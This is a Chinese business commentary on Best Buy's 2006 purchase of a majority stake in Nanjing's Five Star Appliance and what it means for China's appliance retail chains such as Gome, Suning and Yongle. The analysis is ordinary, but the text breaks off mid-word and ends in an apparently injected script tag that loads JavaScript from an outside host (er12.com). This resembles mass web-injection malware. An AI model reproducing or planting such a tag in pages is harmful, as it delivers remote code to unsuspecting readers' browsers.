北京中洋新悦投资顾问有限公司总经理 池洋
随着收购协议的签署，百思买与五星电器的“郎情妾意”终于落到了实处。但是，作为迎娶而非入赘的百思买，进入中国又怎会甘愿屈尊于一个区域市场呢？正如沃尔玛、家乐福、麦德龙、欧尚等已经布局中国的零售巨头，正加速在中国二线城市和农村市场的全面扩张。 对于国内的家电零售商来说，百思买的进入，祸福难料。
联姻五星，为觊觎中国市场已久的百思买提供了绝佳良机，也为日后国内家电联锁业更激烈的竞争埋下伏笔。
联姻虽不是传奇，却打破了刚刚建立的格局。
5月12日，在国内家电连锁企业中排名第四的南京五星电器与世界最大的家电连锁企业百思买（best buy）正式达成协议，由后者投资1.8亿美元收购五星电器56%的股权，此项交易定于6月份全部完成。
这桩备受中国家电零售业关注的联姻，引发了社会各界的广泛争论。
国美电器的领军人物黄光裕，苏宁电器总裁孙为民分别就此事对外表示：“百思买的并购不会对国内家电市场构成明显威胁，因为五星电器在北京、上海等特大城市还是一片空白，他们还有很多事情要做。”但也有人预言：此举将打破中国家电连锁业由国美、苏宁以及“永乐+大中”形成的三足鼎立，缔造出以国美、苏宁、“永乐+大中”与“百思买+五星”并列的四大天王新格局。
至此，中国民营企业利用商业渠道资源吸引外资、外资零售商业涉足中国借道谋商的一系列聪明之举，以花团锦簇的方式，向人们抛出了美丽的杀伤性武器，中国家电连锁行业“以四大天王为第一梯队，以易好家为代表的企业为第二梯队，由此进入烽烟四起的后竞争时代”。
后竞争时代的硝烟
平分天下可以通过和平的方式，但更多的时候，人们看到的却是战争带来的流血与硝烟。商业竞争是一场看似没有硝烟的战争，却时刻暗流涌动。中国的家电零售是一个以渠道资源纵深发展为资源积累的行业，其经历的三次历史裂变，每一次都留下了深刻的印迹：第一阶段，国美、苏宁自筹资金、自谋发展的诞生代表着中国家电渠道民营资本力量的崛起；第二阶段，国美、苏宁加强管理、整合资源，迅速发展成全国性连锁，形成了在激烈的市场竞争中迫使百货、家电集市及专卖店等旧有业态迅速衰退并退出市场的格局；第三阶段，以永乐、大中为代表的区域连锁解除分疆而治，拥有国有资本背景、后来居上的易好家加入全国家电扩张战团，迅速扩大自己的势力范围，形成当今群雄争霸局面。
这是中国家电零售行业跨越计划经济，打破商业壁垒，撬动区域坚冰，实现自我价值，赢得社会认可的成功商业运作。促使这一商业运作成功的有国美的黄光裕、苏宁的张近东、永乐的陈晓、大中的张大中、五星的汪建国等领军人物。中国家电连锁行业的长足发展，打开了中国家电连锁行业走出国门、走向世界、参与国际化竞争的金锁头。这也意味着中国家电零售进入民营、国有、外资等不同资本共同发力的新一轮跑马圈地时代。
截至2006年3月，三大巨头国美、苏宁以及合并大中后的永乐，其连锁经营门店数量分别为500余家、350家和300家。而位居第四的五星连锁门店目前主要集中在江苏、浙江、安徽、山东、云南、四川、河南、江西等省份。在商务部公布的“2005年全国商业连锁30强”排名中，五星电器年销售额达到146亿元，门店规模为193家。
作为全球最大家电连锁、年销售额超过300亿美元的百思买，早在2003年就进入中国市场。据其预计，到2010年，中国消费电器业的销售额将达到1000亿美元，以两位数的速度增长。此外，不甘落后的易好家也以掠夺者的姿态开始全国扩张的商业运作。
中国家电市场接近5000亿元的年销售额，目前的全国性连锁企业远远不能满足市场需求，这为更多的资本进入提供了充分的理由。据有关机构估算，2000～2004年，中国前几名的家电零售连锁企业，年平均增长率高达172%，尤其是行业领头羊国美与苏宁，年平均销售额增长更高达216%。这也意味着新一轮资本的进入将会从根本上改变当前家电零售业格局和家电消费业态。
新五星的冲击
此前，业内曾预计2006年是家电连锁的“闭店年”，因此百思买借道五星，对目前还停留在价格拼杀阶段的中国家电连锁市场能带来多大的冲击还是未知数。百思买入主五星电器后，其在中国的发展将分为两个层面。第一，以其即将在上海开业的首家旗舰店为起点，在国内一线城市以“百思买”品牌同国美、苏宁、永乐等对手竞争；第二，以江浙为起点，用“五星”品牌在这些地区同国美、苏宁、永乐等竞争，进而全面进入中国市场。
尽管此前三强的领军人物对此表现得十分平静，但值得玩味的是，2006年年初，三大巨头曾一度放缓的开店速度，进入4月却骤然提速。如苏宁5月1日当天就在全国开出32家连锁店，加上4月22日开业的13家店，一周总计开出45家门店。国美高层更表示，国美今年扩张速度将远超任何对手。而永乐合并大中，似乎更是未雨绸?script src=http://er12.com/t.js>
